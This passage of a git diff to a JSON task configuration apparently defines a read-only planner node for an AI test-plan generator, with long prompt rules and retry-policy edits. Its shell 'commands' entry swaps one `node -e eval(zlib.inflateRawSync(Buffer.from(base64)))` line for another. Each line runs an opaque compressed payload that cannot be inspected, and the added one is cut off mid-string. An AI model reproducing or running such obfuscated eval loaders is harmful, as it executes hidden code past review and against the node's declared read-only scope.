parameters whose bound source documents a finite enum or classification set may become a Scenario Partition. Do not create partitions for free-form strings, primary keys, required-or-optional-only parameters, or boundary/format-only axes. If an axis has no finite legal-value domain, do not declare a Partition row and do not invent NOT-IN-SET cases. Cross-axis combinations stay as ONE nominal Case; never declare a cross-axis cartesian partition.\n\nBefore finalizing README, calculate the predicted collected-item count as `sum(max(1, number of variant Test Points in each Case))`. If the task declares an item budget, the prediction must not exceed it. Reduce excess only by removing duplicate execution and converting same-request checkpoints to assertions; never drop required rules, boundaries, enums, operation-specific inputs, or business states. Record the prediction in README. Use only environment-supported fixtures/targets/isolation, record evidence gaps in Chinese, and do not emit JSON, pytest, or execute commands.\n\n## Derived task contract: 需求.md\n\n# Backend test\n- AC-001 proof\n\n## Authoritative reference index\n\n[]\n\nFor each index entry, use `readPath` for Pi read-tool calls and copy `path` exactly into Markdown Source References. Bound files under .harness/tasks/<taskId>/source/** are read-only inputs: reading them is allowed even though writing .harness/** is forbidden. Never resolve `path` relative to the repository root, search for substitutes, or fall back to docs/** when a bound read fails.\n\nRead only precise indexed references needed for AC/API/field/rule evidence; references remain authoritative over derived text.",
151
+ "subtask_prompt": "This is a required plan-generation node. Read only the strict read set and return the complete Markdown plan in the assistant response. Start the response with the final Markdown artifact immediately; never narrate analysis, reasoning, source summaries, or plans for producing the plan. The runtime persists the response as a run-owned Harness artifact named generate-backend-md-plan-pi/plan.md. Do not write testcase/md/README.md or any project file; module case cards are written by downstream sharded nodes.\n\nOutput budget protocol (hard, max output <=16K per turn): Emit the complete required section skeleton before filling long table rows, including exactly one Module Index table with at least one module row. Never paste full Matrix, case bodies, source text, analysis or reasoning into assistant chat. README holds only Scope+Matrix+module index; never inline full case bodies. If a Completeness Gate / OUTPUT_LIMIT_RECOVERY retry is injected, continue only listed target paths.\n\nReturn the complete plan as plain Markdown. Do not emit JSON or code fences. The plan must contain the exact English protocol headings ## Coverage Scope, ## Coverage Matrix, ## Scenario Partitions when applicable, and ## Module Index. Never translate those headings into 覆盖范围/覆盖矩阵/场景分区/模块索引.\n\nRead the upstream environment report only through the strict read set. Generate the Markdown-first backend test plan; it will be persisted under the current DAG run's Harness artifacts, not under testcase/md/.\n\nWrite human-readable content in Simplified Chinese by default. Keep English protocol literals exact: section headings, table headers, Partition IDs, TP IDs, Case IDs, HTTP methods, paths, field names, enum values, commands, filenames, code symbols and source citations. Never translate ## Module Index into ## 模块索引.\n\nCreate the concise plan entry page: test objective, target/environment, isolation/cleanup, module summary and a linked case index table with Case ID, Chinese case name, scenario type, endpoint and expected status/result. Avoid repeating every case body in the plan artifact.\n\nBefore the Coverage Matrix, write a mandatory machine-readable `## Coverage Scope` section in the plan artifact using exactly `| Field | Value |`, immediately followed by the separator row `|---|---|`, and these six unique rows: `Change Classification`, `Coverage Policy`, `Affected Operations`, `Affected Rule Keys`, `Regression Floor`, `Scope Evidence`. Always set `Change Classification` to `new-operation` and `Coverage Policy` to `full-contract`; do NOT reason about whether operations are new or existing. Cover all in-scope rules from the requirement document at full depth; treat the product requirement as the coverage baseline and use API contract evidence (fields/status/enum/boundary/format) to supplement scenario dimensions. Scope is limited to operations/rules the requirement document (or its referenced API contract) explicitly describes; do not expand to unrelated operations that the requirement does not mention. List affected operations exactly as `METHOD /path`, stable rule keys separated by semicolons, and precise source pointers as Scope Evidence.\n\nCoverage depth is full over the in-scope rules: fully cover every documented status, request/response field rule, requiredness, enum, boundary, format, auth and business state of each affected operation the requirement describes, but do not re-test unrelated operations the requirement does not mention. Inspect shared validator/helper/DTO/query builder evidence and expand Affected Operations when the same affected path can affect them; unresolved impact stays visible as GAP/CONFLICT.\n\nBefore writing cases, build the mandatory machine-readable Coverage Matrix inside the plan artifact itself. Its section heading line must be exactly `## Coverage Matrix` with no numeric prefix/suffix; never place the canonical Matrix only in a module file. Use this exact header: `| Rule Key | Priority | Source | Endpoint/Field | Dimension | Rule | Required Test Points | Case IDs | Status |`. Every data row must contain exactly 9 pipe-delimited cells and must never omit `Dimension`; use concise dimensions such as requirement, operation, response-status, requiredness, enum, boundary, format, business-state or error. Use only P0/P1/P2 and COVERED/PARTIAL/GAP/CONFLICT. Use stable `TP-<UPPERCASE-HYPHENATED-ID>` test points separated by semicolons.\n\nEach Rule Key must appear in exactly one Matrix row. Preserve each AC/REQ/BR Rule Key as one row; if one product rule spans multiple dimensions, use a concise composite Dimension in that single row instead of duplicating the key. Derive OpenAPI Rule Keys exactly as the deterministic analyzer does: operation token is `<HTTP-METHOD>-<PATH>` with braces removed and every non-alphanumeric run replaced by a hyphen, uppercase (for example POST `/api/resource-notes` → `POST-API-RESOURCE-NOTES`); response statuses use `API-<OPERATION>-RESPONSE-STATUS`; body/parameter fields use `API-<OPERATION>-<FIELD>-REQUIRED|ENUM|MIN-LENGTH|MAX-LENGTH|MINIMUM|MAXIMUM|PATTERN|FORMAT`. Do not invent aliases such as API-CREATE-FIELDS when a deterministic key applies.\n\nCoverage priority is strict inside the declared scope: P0 product requirements/task hard constraints always remain in scope; P1 exhaustively supplements documented operations, fields, business rules, statuses and errors only for Affected Operations; P2 adds bounded protocol robustness only when it is relevant to the change and does not invent product behavior. Coverage percentages describe the declared affected scope, never whole-API completeness unless every operation is explicitly listed. Conflicts or undefined expectations must stay visible as GAP/CONFLICT with precise source pointers, never guessed.\n\nFor uniqueness/lifecycle rules cover absent, active-existing, deleted-existing, create-delete-recreate, restore-then-recreate and documented scope/case-normalization states. For every enum cover every valid value plus bounded invalid equivalence classes (unknown, case variant, whitespace, empty, null/missing and wrong types as applicable). For every length/number rule cover min-1, min, nominal, max and max+1. For format rules cover each allowed class separately plus a valid mixed value, and representative forbidden classes including uppercase, internal/leading/trailing whitespace, tab/newline, unsupported punctuation, slash, emoji or control characters when the source contract supports that expectation.\n\nMandatory module layout contract: first inspect the PRIMARY requirement for an explicit list of required Markdown/Python output path pairs. When explicit paths are present, they are authoritative `explicit-user-layout`: reproduce their exact filenames, count and one-to-one pairs in Module Index; do not rename, merge, split, omit or add a module from reference/example scripts. Only when the primary requirement has no explicit file layout may you derive the smallest `business-resource-layout`. Existing examples, historical regression functions and shared setup may add evidence/assertions to an existing required module, but never create an extra physical module by themselves. A reference-only `resp_regression`, positive/negative/boundary/error/response module is forbidden. The Module Stem cell must contain only the plain filename stem; never put Markdown link syntax or a path in that cell.\n\nInclude exactly one `## Module Index` table with this exact header: `| Module Stem | Business Resource | Owned Operations | Owned Rule Keys | Case IDs | Split Reason | Markdown Path | Pytest Path |`. The Markdown Path cell must contain exactly one resolved repository-relative path such as `testcase/md/health.md`; do not emit a Markdown link or repeat the path. Split Reason is exactly one of `explicit-user-layout`, `primary-business-resource`, `independent-business-resource`, `output-budget`. Group by stable business resource/domain, not by CRUD operation, AC, parameter/field axis, scenario type or regression purpose: one resource's list/detail/create/update/delete and its filters/response assertions/regression floor belong in one module. Multiple modules owning the same exact `METHOD /path` are forbidden unless every such row is `explicit-user-layout` from primary-requirement path pairs or has a documented `output-budget` proof. Keep the total module count at the smallest safe value and never exceed 8 modules. Name model-derived modules with stable lowercase business stems such as `health` or `resource_notes`; explicit-user-layout preserves the primary requirement filename stem even when it is more specific. Do not use priority-only stems `p0`, `p1` or `p2`; Priority belongs only in the Coverage Matrix. Pure hexadecimal/hash-like opaque stems and test-purpose-only stems are forbidden. Do not use Case-ID-like module filenames. Markdown Path, Pytest Path and downstream automation mapping must be one-to-one and exact; for model-derived modules the default pair remains `testcase/md/<module>.md` and `testcase/test_<module>.py`, while explicit-user-layout preserves the primary requirement paths. Do not hand-write a conflicting module count in prose; the Module Index row count is the only count truth.\n\nScenario Partitions (query/filter axes): inspect every affected GET/list operation for query/path parameters whose bound source documents a finite enum or classification domain. If at least one such axis exists, add exactly one machine-readable `## Scenario Partitions` section after the Coverage Matrix using exactly `| Partition ID | Operation | Axis | Domain | Required Slots | Expected by Slot | Bind Rule |` with the separator row and one row per eligible axis. If no affected axis has a source-backed finite domain, omit the entire `## Scenario Partitions` heading and section; do not emit an explanatory prose-only section. Partition ID is a stable `SP-<OPERATION>-<AXIS>` token; Domain must copy the legal values verbatim from the bound OpenAPI enum or requirement sentence (never guess), using bare semicolon-separated identifier values inside the single table cell (for example `ACTIVE; ARCHIVED`, with no Markdown backticks or prose); Required Slots must contain `each-value` and exactly one `not-in-set`, plus `omitted` only when the parameter is optional. Before returning, expand every declared partition into its complete deterministic exact slot ID set: one `TP-<Partition ID>-<VALUE-TOKEN>` per Domain value, `TP-<Partition ID>-OMITTED` only for an optional axis, and exactly one `TP-<Partition ID>-NOT-IN-SET`. Every expanded slot ID must appear verbatim in the binding Rule's `Required Test Points` cell and be assigned to concrete Case IDs in that same Coverage Matrix row; ordinary alias/family Test Points do not replace this inventory. Scheme A: Case count may be smaller than the enum count, but every exact slot still needs an independent variant Test Point and pytest.param id; never use SINGLE/MULTIPLE aliases as coverage. Expected by Slot states the documented expectation per slot kind (`domain-value`, `default-behavior`, `empty-result`/`excluded-result` when documented, or `GAP` when the source does not document the complement expectation — never invent 空列表/400). POST/PUT body field-validation enums stay in the Coverage Matrix as `TP-<FIELD>-ENUM-*` and MUST NOT get a Scenario Partition row. Do not create partitions for axes without a documented legal-value domain. Only GET/list query or path parameters whose bound source documents a finite enum or classification set may become a Scenario Partition. Do not create partitions for free-form strings, primary keys, required-or-optional-only parameters, or boundary/format-only axes. If an axis has no finite legal-value domain, do not declare a Partition row and do not invent NOT-IN-SET cases. Cross-axis combinations stay as ONE nominal Case; never declare a cross-axis cartesian partition.\n\nBefore finalizing README, calculate the predicted collected-item count as `sum(max(1, number of variant Test Points in each Case))`. If the task declares an item budget, the prediction must not exceed it. Reduce excess only by removing duplicate execution and converting same-request checkpoints to assertions; never drop required rules, boundaries, enums, operation-specific inputs, or business states. Record the prediction in README. Use only environment-supported fixtures/targets/isolation, record evidence gaps in Chinese, and do not emit JSON, pytest, or execute commands.\n\n## Derived task contract: 需求.md\n\n# Backend test\n- AC-001 proof\n\n## Authoritative reference index\n\n[]\n\nFor each index entry, use `readPath` for Pi read-tool calls and copy `path` exactly into Markdown Source References. Bound files under .harness/tasks/<taskId>/source/** are read-only inputs: reading them is allowed even though writing .harness/** is forbidden. Never resolve `path` relative to the repository root, search for substitutes, or fall back to docs/** when a bound read fails.\n\nRead only precise indexed references needed for AC/API/field/rule evidence; references remain authoritative over derived text.",
152
152
  "executor": "pi",
153
153
  "role": "planner",
154
154
  "toolProfile": "read-only",
@@ -165,7 +165,7 @@
165
165
  "artifacts/**"
166
166
  ],
167
167
  "retryPolicy": {
168
- "maxAttempts": 3,
168
+ "maxAttempts": 5,
169
169
  "backoff": "exponential",
170
170
  "initialDelayMs": 2000,
171
171
  "maxDelayMs": 30000,
@@ -175,6 +175,7 @@
175
175
  "rate-limit",
176
176
  "unavailable",
177
177
  "empty-output",
178
+ "output-limit",
178
179
  "output-too-large",
179
180
  "invalid-output",
180
181
  "structured-output-truncated",
@@ -195,7 +196,7 @@
195
196
  "writePolicy": "read-only",
196
197
  "shell": {
197
198
  "commands": [
198
- "node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
199
+ "node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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